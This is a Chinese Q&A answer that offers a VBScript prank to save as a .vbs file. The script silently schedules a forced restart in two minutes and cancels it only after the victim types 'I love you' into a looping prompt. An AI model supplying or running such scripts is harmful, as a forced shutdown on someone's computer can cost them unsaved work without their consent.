1个回答
展开全部
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我爱你,不说就2分钟关你机,快说嘛···"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说我爱你,就不关机,快撒,说 ""我爱你"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "真的么" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "其实,我也爱你" 以上内容写在记事本中 保存为vbs文件即可
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询